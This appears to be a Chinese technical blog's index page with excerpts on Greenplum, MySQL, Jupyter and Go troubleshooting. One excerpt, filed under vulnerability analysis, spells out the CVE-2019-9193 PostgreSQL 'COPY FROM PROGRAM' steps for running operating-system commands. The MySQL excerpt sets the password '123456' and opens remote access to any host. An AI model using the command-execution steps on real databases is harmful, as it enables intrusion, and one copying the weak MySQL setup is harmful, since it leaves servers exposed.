greenplum 报错stack depth limit exceeded

greenplum 报错stack depth limit exceeded

今天偶然系统报错,报错内容为stack depth limit exceeded,该问题为堆栈查询深度问题,greenplum 默认max_stack_depth 为2MB,于是尝试修改相关配置。修改系统堆栈:永久修改vim /etc/security/limits.conf 新增以下内容系统堆栈调整为16M* soft stack 16384 * hard stack 16384 临时修改 ulimit -s 16384 修改greenplum 配置su gpadmin cd ~ gpconfig --show max_stack_depth gpconfig -c max_st...

大数据技术,基础运维 2023-08-10 PM
CVE-2019-9193

CVE-2019-9193

-- 先删除你想要使用但是已经存在的表DROP TABLE IF EXISTS cmd_exec;-- 创建保存系统命令输出的表CREATE TABLE cmd_exec(cmd_output text);-- 执行系统命令利用特定函数COPY cmd_exec FROM PROGRAM 'id'; -- 查看执行结果SELECT * FROM cmd_exec;

漏洞解析 2023-08-07 PM
Ubuntu22.04 安装mysql

Ubuntu22.04 安装mysql

安装sudo apt update sudo apt install -y mysql-server sudo mysql 改密码use mysql; alter user 'root'@'localhost' identified with mysql_native_password by '123456'; flush privileges; 开启远程use mysql; select user,host from user; update user set host = '%' where user = '您的用户'; flush privileges; su...

基础运维 2023-03-03 AM
jupyter 导出HTML 报错500

jupyter 导出HTML 报错500

500报错 nbconvert failed: module 'jinja2' has no attribute 'Markup'报错原因是jinja2 版本问题,高版本中部分功能名称修改了导致报错,修改其为指定版本就解决了执行pip3 install -I jinja2==3.0.3

基础运维 2023-02-06 AM
golang 编译报错unrecognized relocation (0x2a) in section  问题修复

golang 编译报错unrecognized relocation (0x2a) in section 问题修复

报错/usr/local/go/pkg/tool/linux_amd64/link: running gcc failed: exit status 1 /usr/bin/ld: /tmp/go-link-2149430067/000031.o: unrecognized relocation (0x2a) in section `.text' /usr/bin/ld: final link failed: Bad value 查看ld 版本 ,使用命令:ld -v,得知当前版本 ;大概率是ld版本过低,因此使用更高版本。移除当前的ld命令yum remove -y binutils 重...

经验开发,基础运维 2023-01-10 AM